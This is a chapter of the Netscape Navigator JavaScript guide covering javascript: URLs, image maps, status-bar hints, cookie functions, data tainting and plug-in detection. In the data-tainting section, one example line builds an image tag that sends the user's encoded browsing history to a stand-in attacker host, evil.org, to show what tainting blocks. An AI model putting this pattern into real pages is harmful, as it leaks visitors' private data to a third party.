Advanced topics

his chapter describes some special concepts and applications that extend the power and flexibility of Navigator JavaScript. The chapter covers the following topics:

Using JavaScript URLs

Using cookies

Using client-side image maps

Using data tainting for security

Using server-side image maps

Determining installed plug-ins

Using the status bar


Using JavaScript URLs

You should be familiar with the standard types of URLS: http, ftp, file, and so on. With Navigator you can also use URLs of type "javascript:" to execute JavaScript statements instead of loading a document. You simply use a string beginning with "javascript:" as the value for the HREF attribute of anchor tags. For example, you can define a hyperlink as follows:

<A HREF="javascript:history.go(0)">Reload Now</A>

to reload the current page when the user clicks it. In general, you can put any statements or function calls after the "javascript:" URL prefix.

You can use JavaScript URLs in many ways to add functionality to your applications. For example, you could increment a counter p1 in a parent frame whenever a user clicks a link, using the following function:

function countJumps() {
          parent.p1++
          window.location=page1
}

To call the function, use a JavaScript URL in a standard HTML hyperlink:

<A HREF="javascript:countJumps()">Page 1</A>

This example assumes page1 is a string representing a URL.

If the value of the expression following a "javascript:" URL prefix evaluates to undefined, no new document is loaded. If the expression evaluates to a defined type, the value is converted to a string that specifies the source of the document to load.


Using client-side image maps

A client-side image map is defined with the MAP tag. You can define areas within the image that are hyperlinks to distinct URLs; the areas can be rectangles, circles, or polygons.

Instead of standard URLs, you can also use JavaScript URLs in client-side image maps, for example,

<MAP NAME="buttonbar">
<AREA SHAPE="RECT" COORDS="0,0,16,14"
          HREF ="javascript:top.close(); window.location = newnav.html">
<AREA SHAPE="RECT" COORDS="0,0,85,46"
          HREF="contents.html" target="javascript:alert(`Loading
          Contents.'); top.location = contents.html">
</MAP>


Using server-side image maps

Client-side image maps provide functionality to perform most tasks, but standard (sometimes called server-side) image maps provide even more flexibility. You specify a standard image map with the ISMAP attribute of an IMG tag that is a hyperlink. For example,

The "about:logo" image is built in to Navigator and displays the Netscape logo.

<A HREF="img.html"><IMG SRC="about:logo" BORDER=0 ISMAP></A>

When you click an image with the ISMAP attribute, Navigator requests a URL of the form

URL?x,y

where URL is the document specified by the value of the HREF attribute, and x and y are the horizontal and vertical coordinates of the mouse pointer (in pixels from the top-left of the image) when you clicked.

Traditionally, image-map requests are sent to servers, and a CGI program performs a database lookup function. With Navigator JavaScript, however, you can perform the lookup on the client. You can use the search property of the location object to parse the x and y coordinates and perform an action accordingly. For example, suppose you have a file named img.html with the following content:

<H1>Click on the image</H1>
<P>
<A HREF="img.html"><IMG SRC="about:logo" BORDER=0 ISMAP></A>
<SCRIPT>
str = location.search
if (str == "")
          document.write("<P>No coordinates specified.")
else {
          commaloc = str.indexOf(",") // the location of the comma
          document.write("<P>The x value is " + str.substring(1, commaloc))
          document.write("<P>The y value is " + str.substring(commaloc+1, str.length))
}
</SCRIPT>

When you click a part of the image, Navigator reloads the page (because the HREF attribute specifies the same document), adding the x and y coordinates of the mouse-click to the URL. The statements in the else clause then display the x and y coordinates. In practice, you could redirect to another page (by setting location) or perform some other action based on the values of x and y.


Using the status bar

You can use two window properties, status and defaultStatus, to display messages in the Navigator status bar at the bottom of the window. Navigator normally uses the status bar to display such messages as "Contacting Host..." and "Document: Done." The defaultStatus message appears when nothing else is in the status bar. The status property displays a transient message in the status bar, such as when the user moves the mouse pointer over a link.

You can set these properties to display custom messages. For example, to display a custom message after the document has finished loading, simply set defaultStatus. For example,

defaultStatus = "Some rise, some fall, some climb...to get to Terrapin"

Creating hints with onMouseOver and onMouseOut

By default, when you move the mouse pointer over a hyperlink, the status bar displays the destination URL of the link. You can set status in the onMouseOut and onMouseOver event handlers of a hyperlink or image area to display hints in the status bar instead. The event handler must return true to set status. For example,

<A HREF="contents.html"
   onMouseOver="window.status='Click to display contents';return true">
Contents</A>

This example displays the hint "Click to display contents" in the status bar when you move the mouse pointer over the link.


Using cookies

For a complete description of cookies, see Appendix D, "Netscape cookies.".

Netscape cookies are a mechanism for storing persistent data on the client in a file called cookies.txt. Because HyperText Transport Protocol (HTTP) is a stateless protocol, cookies provide a way to maintain information between client requests. This section discusses basic uses of cookies and illustrates with a simple example.

Each cookie is a small item of information with an optional expiration date and is added to the cookie file in the following format:

name=value;expires=expDate;

For more information on escape and unescape, see the topics in the reference section.

name is the name of the datum being stored, and value is its value. If name and value contain any semicolon, comma, or blank (space) characters, you must use the escape function to encode them and the unescape function to decode them.

expDate is the expiration date, in GMT date format:

Wdy, DD-Mon-YY HH:MM:SS GMT

Although it's slightly different from this format, the date string returned by the Date method toGMTString can be used to set cookie expiration dates.

The expiration date is an optional parameter indicating how long to maintain the cookie. If expDate is not specified, the cookie expires when the user exits the current Navigator session. Navigator maintains and retrieves a cookie only if its expiration date has not yet passed.

Limitations

Cookies have these limitations

Cookies can be associated with one or more directories. If your files are all in one directory, then you need not worry about this. If your files are in multiple directories, you may need to use an additional path parameter for each cookie. For more information, see Appendix D, "Netscape cookies."

Using cookies with JavaScript

The document.cookie property is a string that contains all the names and values of Navigator cookies. You can use this property to work with cookies in JavaScript.

Here are some basic things you can do with cookies:

It is convenient to define functions to perform these tasks. Here, for example, is a function that sets cookie values and expiration:

// Sets cookie values. Expiration date is optional
//
function setCookie(name, value, expire) {
          document.cookie = name + "=" + escape(value)
          + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()))
}

Notice the use of escape to encode special characters (semicolons, commas, spaces) in the value string. This function assumes that cookie names do not have any special characters.

The following function returns a cookie value, given the name of the cookie:

function getCookie(Name) {
          var search = Name + "="
          if (document.cookie.length > 0) { // if there are any cookies
                    offset = document.cookie.indexOf(search)
                    if (offset != -1) { // if cookie exists
                              offset += search.length
                              // set index of beginning of value
                              end = document.cookie.indexOf(";", offset)
                              // set index of end of cookie value
                              if (end == -1)
                                        end = document.cookie.length
                              return unescape(document.cookie.substring(offset, end))
                    }
          }
}

Notice the use of unescape to decode special characters in the cookie value.

Using cookies: an example

Using the cookie functions defined in the previous section, you can create a simple page users can fill in to "register" when they visit your page. If they return to your page within a year, they will see a personal greeting.

You need to define one additional function in the HEAD of the document. This function, register, creates a cookie with the name TheCoolJavaScriptPage and the value passed to it as an argument.

function register(name) { 
          var today = new Date()
          var expires = new Date()
          expires.setTime(today.getTime() + 60*60*24*365)
          setCookie("TheCoolJavaScriptPage", name, expires)
}

The BODY of the document uses getCookie (defined in the previous section) to check whether the cookie for TheCoolJavaScriptPage exists and displays a greeting if it does. Then there is a form that calls register to add a cookie. The onClick event handler also calls history.go(0) to redraw the page.

<BODY>
<H1>Register Your Name with the Cookie-Meister</H1>
<P>
<SCRIPT>
var yourname = getCookie("TheCoolJavaScriptPage")
if (yourname != null)
          document.write("<P>Welcome Back, ", yourname)
else
          document.write("<P>You haven't been here in the last year...")
</SCRIPT>

<P> Enter your name. When you return to this page within a year, you will be greeted with a personalized greeting. 
<BR>
<FORM onSubmit="return false">
Enter your name: <INPUT TYPE="text" NAME="username" SIZE= 10><BR>
<INPUT TYPE="button" value="Register"
          onClick="register(this.form.username.value); history.go(0)">
</FORM>


Using data tainting for security

Navigator version 2.02 and later automatically prevents scripts on one server from accessing properties of documents on a different server. This restriction prevents scripts from fetching private information such as directory structures or user session history.

JavaScript for Navigator 3.0 has a feature called data tainting that retains the security restriction but provides a means of secure access to specific components on a page.

To enable tainting, the end user sets an environment variable, as described in "Enabling tainting".

How tainting works

A page's author is in charge of tainting elements. The following properties are tainted by default:

Object Tainted properties
document
cookie, domain, forms, lastModified, links, referrer, title, URL
Form
action
any form input element
checked, defaultChecked, defaultValue, name, selectedIndex, toString, value
history
current, next, previous, toString
Select option
defaultSelected, selected, text, value
location and Link
hash, host, hostname, href, pathname, port, protocol, search, toString
window
defaultStatus, status

You can use tainted data elements any way you want in your script, but if your script attempts to pass a tainted element's value or any data derived from it over the network in any way (for example, via a form submission or URL), a dialog box is displayed so the user can confirm or cancel the operation.

Values derived from tainted data elements are also tainted. If a tainted value is passed to a function, the return value of the function is tainted. If a string is tainted, any substring of the string is also tainted. If a script examines a tainted value in an if, for, or while statement, the script itself accumulates taint.

You can taint and untaint properties, variables, functions, and objects, as described in "Tainting and untainting individual data elements". You cannot untaint another server's properties or data elements.

Enabling tainting

To enable data tainting, the end user sets the NS_ENABLE_TAINT environment variable as follows:

NS_ENABLE_TAINT can have any value; "1" will do.

If the end user does not enable tainting and a script attempts to access properties of a window on another server, a message is displayed indicating that access is not allowed.

To determine whether tainting is enabled, use the taintEnabled method. The following code executes function1 if data tainting is enabled; otherwise it executes function2.

if (navigator.taintEnabled()) {
   function1()
}
else function2()

For details on taintEnabled, see "taintEnabled".

Tainting and untainting individual data elements

You can taint data elements (properties, variables, functions, objects) in your scripts to prevent the returned values from being used inappropriately by other scripts or propagating beyond another script. You might want to remove tainting from a data element so other scripts can read and do anything with it. You cannot untaint another server's data elements.

You control the tainting of data elements with two functions: taint adds tainting to a data element, and untaint removes tainting from a data element. These functions each take a single data element as an argument.

For example, the following statement removes taint from a property so that a script can send it to another server:

untaintedStat=untaint(window.defaultStatus)
// untaintedStat can now be sent in a URL or form post by other scripts

Neither taint nor untaint modifies its argument; rather, both functions return a marked or unmarked reference to the argument object, or copy of the primitive type value (number or boolean value). The mark is called a taint code. JavaScript assigns a unique taint code to each server's data elements. Untainted data has the identity (null) taint code.

For details on taint and untaint, see "taint" and "untaint".

Tainting that results from conditional statements

In some cases, control flow rather than data flow carries tainted information. To handle these cases, each window has a taint accumulator. The taint accumulator holds taint tested in the condition portion of if, for, and while statements. The accumulator mixes different taint codes to create new codes that identify the combination of data origins (for example, serverA, serverB, or serverC).

The taint accumulator is reset to identity only if it contains the current document's original taint code. Otherwise, taint accumulates until the document is unloaded. All windows loading documents from the same origin share a taint accumulator.

You can add taint to or remove taint from a window's taint accumulator.

If a window's taint accumulator holds taint and the script attempts to pass data over the network, the taint codes in the accumulator are checked. Only if the accumulated script taint, the taint code of the targeted server, and the taint code of the data being sent are compatible will the operation proceed. Compatible means that either two taint codes are equal, or at least one is identity (null). If the script, server, and data taints are incompatible, a dialog box is displayed so the user can confirm or cancel the URL load or form post.

Accumulated taint propagates across setTimeout and into the evaluation of the first argument to setTimeout. It propagates through document.write into generated tags, so that a malicious script cannot signal private information such as session history by generating an HTML tag with an implicitly-loaded URL SRC parameter such as the following:

document.write("<img src=http://evil.org/cgi.bin/fake-img?" +
   encode(history) + ">")


Determining installed plug-ins

You can use JavaScript to determine whether a user has installed a particular plug-in; you can then display embedded plug-in data if the plug-in is installed, or display some alternative information (for example, an image or text) if it is not. You can also determine whether a client is capable of handling a particular MIME (Multipart Internet Mail Extension) type. This section introduces the objects and properties needed for handling plug-ins and MIME types. For more detailed information on these objects and properties, see the corresponding reference topics in Part 3, "Reference."

The navigator object has two properties for checking installed plug-ins: the mimeTypes array and the plugins array.

mimeTypes array

mimeTypes is an array of all MIME types supported by the client (either internally, via helper applications, or by plug-ins). Each element of the array is a MimeType object, which has properties for its type, description, file extensions, and enabled plug-ins.

For example, the following table summarizes the values for displaying JPEG images:

Expression Value
navigator.mimeTypes["image/jpeg"].type
image/jpeg
navigator.mimeTypes["image/jpeg"].description
JPEG Image
navigator.mimeTypes["image/jpeg"].suffixes
jpeg, jpg, jpe, jfif, pjpeg, pjp
navigator.mimeTypes["image/jpeg"].enabledPlugin
null

The following script checks to see whether the client is capable of displaying QuickTime movies.

var myMimetype = navigator.mimeTypes["video/quicktime"]
if (myMimetype)
   document.writeln("Click <A HREF='movie.qt'>here</A> to see a " +
      myMimetype.description)
else
   document.writeln("Too bad, can't show you any movies.")

plugins array

plugins is an array of all plug-ins currently installed on the client. Each element of the array is a Plugin object, which has properties for its name, file name, and description as well as an array of MimeType objects for the MIME types supported by that plug-in. The user can obtain a list of installed plug-ins by choosing About Plug-ins from the Help menu.

For example, the following table summarizes the values for the LiveAudio plug-in:

Expression Value
navigator.plugins['LiveAudio'].name
LiveAudio
navigator.plugins['LiveAudio'].description
LiveAudio - Netscape Navigator sound playing component
navigator.plugins['LiveAudio'].filename
d:\nettools\netscape\nav30\
Program\plugins\NPAUDIO.DLL

navigator.plugins['LiveAudio'].length
7

In the previous table, the length property indicates that navigator.plugins['LiveAudio'] has an array of MimeType objects containing seven elements. The property values for the second element of this array are as follows:

Expression Value
navigator.plugins['LiveAudio'][1].type
audio/x-aiff
navigator.plugins['LiveAudio'][1].description
AIFF
navigator.plugins['LiveAudio'][1].suffixes
aif, aiff
navigator.plugins['LiveAudio'][1].enabledPlugin.name
LiveAudio

The following script checks to see whether the Shockwave plug-in is installed and displays an embedded Shockwave movie if it is:

var myPlugin = navigator.plugins["Shockwave"]
if (myPlugin)
   document.writeln("<EMBED SRC='Movie.dir' HEIGHT=100 WIDTH=100>")
else
   document.writeln("You don't have Shockwave installed!")